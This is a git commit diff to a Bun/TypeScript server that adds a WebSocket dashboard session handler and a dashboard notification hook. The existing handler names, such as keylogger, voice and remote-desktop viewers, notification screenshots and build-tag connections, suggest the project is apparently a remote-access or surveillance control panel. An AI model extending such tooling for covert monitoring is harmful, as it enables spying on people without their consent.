feat: dashboard WebSocket push + page-routes refactor

This commit is contained in:
unknown
2026-03-17 14:30:43 +01:00
parent 1631801232
commit af6706ea81
8 changed files with 282 additions and 347 deletions
+12
View File
@@ -416,6 +416,17 @@ async function startServer() {
handleProcessViewerOpen,
handleKeyloggerViewerOpen,
handleVoiceViewerOpen,
handleDashboardViewerOpen: (ws: import("bun").ServerWebSocket<SocketData>) => {
const id = crypto.randomUUID();
ws.data.sessionId = id;
sessionManager.addDashboardSession({
id,
viewer: ws,
createdAt: Date.now(),
userId: ws.data.userId,
userRole: ws.data.userRole,
});
},
handleNotificationViewerOpen: notificationPluginHandlers.handleNotificationViewerOpen,
handleConsoleViewerMessage,
handleRemoteDesktopViewerMessage,
@@ -456,6 +467,7 @@ async function startServer() {
clearPendingNotificationScreenshots: notificationPluginHandlers.clearPendingNotificationScreenshots,
notifyRemoteDesktopStatus,
handleBuildTagConnection,
notifyDashboard: sessionManager.notifyDashboardViewers,
};
const server = Bun.serve<SocketData>({